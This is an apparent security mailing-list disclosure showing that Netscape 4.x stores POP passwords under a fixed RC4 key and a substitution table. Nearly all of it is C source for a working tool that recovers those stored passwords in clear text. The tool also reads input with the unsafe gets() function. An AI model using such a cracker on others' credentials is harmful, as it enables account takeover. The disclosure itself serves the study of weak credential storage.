Hi,
Just in case you find a Netscape 4.x "encrypted" password, and you
cannot sniff it on the wire or use a local proxy, have a look at the
code below.
I know some people have already noticed that the password is XOR-ed with
a constant byte stream, but as far as I know nobody documented that this
stream was RC4-generated.
PS. I am not sure this is DMCA-compliant :-)
Regards,
-----------------------------------
Nicolas RUFF
Security Consultant / EdelWeb
-----------------------------------
//
// NetsCrack.cpp : Netscape 4.x POP Passwords Cracker
// Tested against Netscape 4.5
// C0ded by Nicolas RUFF / EdelWeb
// You may freely distribute this source code unmodified
//
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
/* ---------------------------------------------------------------- */
// The "original" RC4 algorithm source code
/* rc4.h */
typedef struct rc4_key
{
unsigned char state[256];
unsigned char x;
unsigned char y;
} rc4_key;
void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key
*key);
void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key);
static void swap_byte(unsigned char *a, unsigned char *b);
/* r4.c */
void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key
*key)
{
unsigned char swapByte;
unsigned char index1;
unsigned char index2;
unsigned char* state;
short counter;
state = &key->state[0];
for (counter = 0; counter < 256; counter++)
state[counter] = counter;
key->x = 0;
key->y = 0;
index1 = 0;
index2 = 0;
for(counter = 0; counter < 256; counter++)
{
index2 = (key_data_ptr[index1] + state[counter] + index2) % 256;
swap_byte(&state[counter], &state[index2]);
index1 = (index1 + 1) % key_data_len;
}
}
void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key)
{
unsigned char x;
unsigned char y;
unsigned char* state;
unsigned char xorIndex;
short counter;
x = key->x;
y = key->y;
state = &key->state[0];
for(counter = 0; counter < buffer_len; counter ++)
{
x = (x + 1) % 256;
y = (state[x] + y) % 256;
swap_byte(&state[x], &state[y]);
xorIndex = (state[x] + state[y]) % 256;
buffer_ptr[counter] ^= state[xorIndex];
}
key->x = x;
key->y = y;
}
static void swap_byte(unsigned char *a, unsigned char *b)
{
unsigned char swapByte;
swapByte = *a;
*a = *b;
*b = swapByte;
}
/* ----------------------------------------------------------------- */
// Quick and dirty base64 decoding
unsigned char transcode( unsigned char c ) {
if ((c >= 'A') && (c <= 'Z'))
return (c - 'A');
if ((c >= 'a') && (c <= 'z'))
return (c - 'a' + 26);
if ((c >= '0') && (c <= '9'))
return (c - '0' + 52);
if (c == '+')
return 62;
if (c == '/')
return 63;
if (c == '=')
return 0;
printf("transcode error\n");
return 0;
}
void decode64( unsigned char a, unsigned char b, unsigned char c,
unsigned char d, unsigned char *dst ) {
unsigned char x, y, z;
// Transcode { A-Z a-z 0-9 + / } -> ...
// 'A'=65 'a'=97 '0'=48 '+'=43 '/'=47
x = transcode(a);
y = transcode(b);
z = transcode(c);
x = ( (transcode(a)) << 2 ) + ( ((transcode(b)) & 0x30) >>
4); // pattern = 00110000
y = ( ((transcode(b)) & 0x0F) << 4 ) + ( ((transcode(c)) & 0x3C) >>
2); // pattern = 00001111, 00111100
z = ( ((transcode(c)) & 0x03) << 6 ) + ( (transcode(d)) );
dst[0] = x;
dst[1] = y;
dst[2] = z;
}
/* ---------------------------------------------------------------- */
// Main()
int main(int argc, char* argv[])
{
char szPwd[256];
unsigned char szClear[256];
int i,j;
// Netscape "Magic" Key
unsigned char key_data[] = { 0xD0, 0x86, 0x9C, 0xDE, 0xC6, 0xEE, 0xEB,
0x3E };
rc4_key key;
// [0x00 ... 0x3F] and [0x80 ... 0xFF] : no substitution
// [0x40 ... 0x7F] use substitution table below
// Surprisingly T*T = Id :-)
unsigned char table[] = {
0x40, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x41, 0x42,
0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D,
0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x61, 0x62,
0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D,
0x7B, 0x7C, 0x7D, 0x7E, 0x7F
};
printf("Enter registry encrypted password :");
gets(szPwd);
if (strlen(szPwd) > 0) {
/* --------------- REGISTRY ENCRYPTION --------------- */
strrev(szPwd);
for (i=0; i<strlen(szPwd); i++) {
if ((szPwd[i] >= 0x40) && (szPwd[i] < 0x80))
szPwd[i] = table[szPwd[i] - 0x40];
}
printf("File password : %s\n", szPwd);
}
else {
printf("Enter file encrypted password :");
gets(szPwd);
}
/* --------------- FILE ENCRYPTION --------------- */
/* ATOB_AsciiToData() */
j=0;
for (i=0; i<strlen(szPwd); i+=4) {
decode64(szPwd[i], szPwd[i+1], szPwd[i+2], szPwd[i+3], &(szClear[j]));
j += 3;
}
szClear[j] = '\0';
/* RC4_Decrypt */
prepare_key( key_data, 8, &key);
rc4( szClear, strlen((char *)szClear), &key );
printf("Clear text password : %s\n", szClear);
return 0;
}
